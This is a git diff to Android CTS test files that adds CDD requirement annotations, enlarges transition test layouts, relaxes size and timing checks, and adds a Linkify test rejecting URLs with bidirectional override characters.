-        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
-        for (int col = 0; col < bitmap.getWidth(); col++) {
-            if (dividerColor != pixels[col]) {
-                dumpBitmap(bitmap);
-                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
-            }
-        }
+        checkNavigationBarDivider(mActivityRule.getActivity(),
+                getInstrumentation().getContext().getColor(R.color.navigationBarDividerColor));
     }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
old mode 100644
new mode 100755
index 0b70f1b..38f2673
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -118,10 +118,37 @@
         waitOnAllHandlers(getInstrumentation());
 
         AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertEquals(AudioManager.MODE_IN_COMMUNICATION, audioManager.getMode());
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return AudioManager.MODE_IN_COMMUNICATION;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-communication"
+        );
+
         connection.setAudioModeIsVoip(false);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return AudioManager.MODE_IN_CALL;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-call"
+        );
     }
 
     public void testGetAllConnections() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index a87b943..a8a86c2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -33,6 +33,8 @@
 import android.telecom.VideoProfile;
 import android.telephony.TelephonyManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 
 /**
@@ -318,6 +320,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-3")
     public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
index 8163520..fba31a0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
@@ -29,6 +29,8 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.List;
 
@@ -99,6 +101,7 @@
                 telephonyMatches);
     }
 
+    @CddTest(requirement="7.4.1.1/C-1-6")
     public void testTelecomCanManageBlockedNumbers() {
         if (!shouldTestTelecom(mContext)) {
             return;
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
index 572b31a..7905a83 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -24,6 +24,9 @@
 import android.telephony.TelephonyManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.1/C-1-2")
 public class CarrierConfigManagerTest extends AndroidTestCase {
     private CarrierConfigManager mConfigManager;
     private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
index 6c180b4..b2a4c31 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
@@ -29,7 +29,9 @@
 
 import com.android.compatibility.common.util.ReadElf;
 import com.android.compatibility.common.util.TestThread;
+import com.android.compatibility.common.util.CddTest;
 
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
 public class CellLocationTest extends AndroidTestCase{
     private boolean mOnCellLocationChangedCalled;
     private final Object mLock = new Object();
diff --git a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
index b5fa45a..499c03b 100644
--- a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
@@ -45,6 +45,8 @@
 import com.google.android.mms.pdu.SendConf;
 import com.google.android.mms.pdu.SendReq;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -53,6 +55,7 @@
 /**
  * Test sending MMS using {@link android.telephony.SmsManager}.
  */
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
 public class MmsTest extends AndroidTestCase {
     private static final String TAG = "MmsTest";
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
index b15a4e8..dad1bc6 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
@@ -89,7 +89,8 @@
     public void testIccOpenLogicalChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccOpenLogicalChannel("");
+                TelephonyManager.getDefault().iccCloseLogicalChannel(
+                        TelephonyManager.getDefault().iccOpenLogicalChannel("").getChannel());
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 8ffee99..3096840 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -38,6 +38,8 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -53,6 +55,7 @@
  *
  * Structured so tests can be reused to test {@link android.telephony.gsm.SmsManager}
  */
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
 public class SmsManagerTest extends InstrumentationTestCase {
 
     private static final String TAG = "SmsManagerTest";
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
index e247775..293c605 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsMessageTest.java
@@ -23,6 +23,9 @@
 import android.telephony.TelephonyManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
 public class SmsMessageTest extends AndroidTestCase{
 
     private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index 79097e0..85e6095 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -45,6 +45,7 @@
 import android.util.Log;
 
 import com.android.compatibility.common.util.TestThread;
+import com.android.compatibility.common.util.CddTest;
 
 import org.junit.After;
 import org.junit.Before;
@@ -53,6 +54,7 @@
 
 import java.util.regex.Pattern;
 
+@CddTest(requirement="7.4.1/C-1-2,C-2-1")
 @RunWith(AndroidJUnit4.class)
 public class TelephonyManagerTest {
     private TelephonyManager mTelephonyManager;
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index 4f66ee7..837c209 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -26,12 +26,15 @@
 import android.support.test.filters.LargeTest;
 import android.support.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.HashMap;
 import java.util.Locale;
 
+@CddTest(requirement="3.8.13/C-1-1")
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class FontCoverageTest {
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 69956da..e1c4742 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -934,6 +934,17 @@
                 domain.length(), email);
     }
 
+    @Test
+    public void testAddLinks_unsupportedCharacters() {
+        String url = "moc.diordna.com";
+        verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+        verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+        verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+        verifyAddLinksWithWebUrlFails(
+                "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+    }
+
     // Utility functions
     private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
         verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index 1ba7d79..e4e889d 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
index 4ac88b3..c6865b7 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
@@ -18,6 +18,9 @@
 
 import android.support.test.runner.AndroidJUnit4;
 import android.view.WindowManager;
+
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -28,6 +31,7 @@
  * like this app the only way to add toast windows is via the dedicated
  * toast APIs.
  */
+@CddTest(requirement="3.8.5/C-1-2")
 @RunWith(AndroidJUnit4.class)
 public class LegacyToastTest extends BaseToastTest {
     @Test
diff --git a/tests/tests/transition/res/layout/scene1.xml b/tests/tests/transition/res/layout/scene1.xml
index 140bb8d..35e45bb 100644
--- a/tests/tests/transition/res/layout/scene1.xml
+++ b/tests/tests/transition/res/layout/scene1.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare"
diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml
index 5403354..2fc9001 100644
--- a/tests/tests/transition/res/layout/scene10.xml
+++ b/tests/tests/transition/res/layout/scene10.xml
@@ -22,29 +22,29 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_alignParentLeft="true"
         android:layout_alignParentTop="true"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_alignParentRight="true"
         android:layout_alignParentBottom="true"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_alignParentLeft="true"
         android:layout_alignParentBottom="true"
diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml
index dc6ef19..3c90df9 100644
--- a/tests/tests/transition/res/layout/scene11.xml
+++ b/tests/tests/transition/res/layout/scene11.xml
@@ -23,6 +23,6 @@
     <ImageView
         android:id="@+id/redSquare"
         android:src="#F00"
-        android:layout_width="10dp"
-        android:layout_height="10dp"/>
+        android:layout_width="30dp"
+        android:layout_height="30dp"/>
 </RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml
index 559ab39..239901e 100644
--- a/tests/tests/transition/res/layout/scene12.xml
+++ b/tests/tests/transition/res/layout/scene12.xml
@@ -23,23 +23,23 @@
     android:orientation="horizontal"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:id="@+id/yellowSquare"/>
 </LinearLayout>
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
index e6a4caf..c7c0575 100644
--- a/tests/tests/transition/res/layout/scene13.xml
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -22,34 +22,34 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_centerInParent="true"
         android:transitionName="redSquare"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#000"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/blackSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_toRightOf="@id/blackSquare"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_toRightOf="@id/greenSquare"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_toRightOf="@id/blueSquare"
         android:id="@+id/yellowSquare"/>
diff --git a/tests/tests/transition/res/layout/scene14.xml b/tests/tests/transition/res/layout/scene14.xml
new file mode 100644
index 0000000..2ccf8bb
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene14.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionName="holder"
+    android:id="@+id/holder">
+    <ImageView
+        android:id="@+id/redSquare"
+        android:src="#F00"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
+        android:visibility="gone"/>
+</RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene2.xml b/tests/tests/transition/res/layout/scene2.xml
index 541ec04..9e92801 100644
--- a/tests/tests/transition/res/layout/scene2.xml
+++ b/tests/tests/transition/res/layout/scene2.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene3.xml b/tests/tests/transition/res/layout/scene3.xml
index 01fb78d..08c98a3 100644
--- a/tests/tests/transition/res/layout/scene3.xml
+++ b/tests/tests/transition/res/layout/scene3.xml
@@ -18,12 +18,12 @@
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:id="@+id/redSquare"
           android:layout_toRightOf="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene6.xml b/tests/tests/transition/res/layout/scene6.xml
index 8cffee5..e3a010b 100644
--- a/tests/tests/transition/res/layout/scene6.xml
+++ b/tests/tests/transition/res/layout/scene6.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene7.xml b/tests/tests/transition/res/layout/scene7.xml
index 72c74e8..d91b959 100644
--- a/tests/tests/transition/res/layout/scene7.xml
+++ b/tests/tests/transition/res/layout/scene7.xml
@@ -19,8 +19,8 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene8.xml b/tests/tests/transition/res/layout/scene8.xml
index 69674ee..5b5c574 100644
--- a/tests/tests/transition/res/layout/scene8.xml
+++ b/tests/tests/transition/res/layout/scene8.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene9.xml b/tests/tests/transition/res/layout/scene9.xml
index 2eb3762..66e1be3 100644
--- a/tests/tests/transition/res/layout/scene9.xml
+++ b/tests/tests/transition/res/layout/scene9.xml
@@ -20,7 +20,7 @@
                 android:transitionName="holder"
                 android:id="@+id/holder">
     <FrameLayout
-            android:layout_marginTop="50dp"
+            android:layout_marginTop="70dp"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content">
         <TextView
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index d11051f..397b010 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -43,8 +43,8 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class ChangeBoundsTest extends BaseTransitionTest {
-    private static final int SMALL_SQUARE_SIZE_DP = 10;
-    private static final int LARGE_SQUARE_SIZE_DP = 30;
+    private static final int SMALL_SQUARE_SIZE_DP = 30;
+    private static final int LARGE_SQUARE_SIZE_DP = 50;
     private static final int SMALL_OFFSET_DP = 2;
 
     ChangeBounds mChangeBounds;
@@ -325,21 +325,27 @@
                 width = view.getWidth();
                 height = view.getHeight();
             }
-            validateDim(name, "width", dimensions.x, width);
-            validateDim(name, "height", dimensions.y, height);
-            dimensions.set(width, height);
+            int newWidth = validateDim(name, "width", dimensions.x, width);
+            int newHeight = validateDim(name, "height", dimensions.y, height);
+            dimensions.set(newWidth, newHeight);
         }
 
-        private void validateDim(String name, String dimen, int lastDim, int newDim) {
+        private int validateDim(String name, String dimen, int lastDim, int newDim) {
+            int dim = newDim;
             if (lastDim != -1) {
+                // We must give a pixel's buffer because the top-left and
+                // bottom-right may move independently, causing a rounding error
+                // in size change.
                 if (mGrow) {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is less than previous " + lastDim,
-                            newDim >= lastDim);
+                            newDim >= lastDim - 1);
+                    dim = Math.max(lastDim, newDim);
                 } else {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is more than previous " + lastDim,
-                            newDim <= lastDim);
+                            newDim <= lastDim + 1);
+                    dim = Math.min(lastDim, newDim);
                 }
                 if (newDim != lastDim) {
                     mDidChangeSize = true;
@@ -349,6 +355,7 @@
                     newDim <= mMax);
             assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin,
                     newDim >= mMin);
+            return dim;
         }
 
         @Override
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 9ba201a..ad819fd 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -566,7 +566,7 @@
         startTransition(R.layout.scene8);
 
         // scene 8 swaps the ids, but not the names. No transition should happen.
-        waitForEnd(0);
+        waitForEnd(1000);
 
         // now change the match order to prefer the id
         mTransition.setMatchOrder(new int[] {Transition.MATCH_ID, Transition.MATCH_NAME});
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
index abbec36..3923598 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
@@ -38,6 +38,8 @@
 import android.view.TextureView.SurfaceTextureListener;
 import android.view.ViewGroup;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Assert;
@@ -47,6 +49,7 @@
 
 import java.util.concurrent.CountDownLatch;
 
+@CddTest(requirement="7.1.4.4/C-0-3")
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class TextureViewTests extends ActivityTestBase {
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index ed7a61c..aab07d7 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -28,7 +28,8 @@
     android-support-annotations \
     android-support-test \
     ctstestrunner \
-    legacy-android-test
+    legacy-android-test \
+    compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
index 4966be0..2061610 100644
--- a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
+++ b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
@@ -27,9 +27,12 @@
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@CddTest(requirement="7.1.2/C-2-1")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DisplayMetricsTest {
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index c3b97c5..6f886bb 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
 
     <android.view.cts.MockView
         android:id="@+id/mock_view"
-        android:layout_width="100px"
-        android:layout_height="200px"/>
+        android:layout_width="100dp"
+        android:layout_height="75dp"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view"
diff --git a/tests/tests/view/res/values-ldpi/dimens.xml b/tests/tests/view/res/values-ldpi/dimens.xml
new file mode 100644
index 0000000..5b79a3e
--- /dev/null
+++ b/tests/tests/view/res/values-ldpi/dimens.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+<resources>
+    <dimen name="hover_target_margin">6dp</dimen>
+    <dimen name="hover_target_size">12dp</dimen>
+    <dimen name="hover_target_size_double">24dp</dimen>
+</resources>
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 39ae2d3..20c4742 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -37,6 +37,8 @@
 
 import com.android.internal.util.ArrayUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -48,6 +50,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@CddTest(requirement="7.2.5/C-1-5")
 @RunWith(AndroidJUnit4.class)
 public class DragDropTest {
     static final String TAG = "DragDropTest";
@@ -207,7 +210,7 @@
             long downTime = SystemClock.uptimeMillis();
             MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
                     destLoc[0] + offset, destLoc[1] + offset, 1);
-            event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+            event.setSource(InputDevice.SOURCE_MOUSE);
             mAutomation.injectInputEvent(event, false);
         });
 
diff --git a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
index 6207b9b..2ba7972 100644
--- a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
@@ -29,10 +29,13 @@
 import android.view.KeyCharacterMap.KeyData;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@CddTest(requirement="7.2.3/H-0-1,T-0-1,A-0-1,7.2.1/C-1-3")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class KeyCharacterMapTest {
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index fde3f81..666e585 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -41,6 +41,8 @@
 import android.view.KeyCharacterMap.KeyData;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CddTest;
+
 import junit.framework.Assert;
 
 import org.junit.Before;
@@ -514,6 +516,7 @@
         assertTrue(mKeyEvent.getDisplayLabel() > 0);
     }
 
+    @CddTest(requirement="7.2.3/H-0-1,T-0-1,A-0-1")
     @Test
     public void testIsSystem() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MENU);
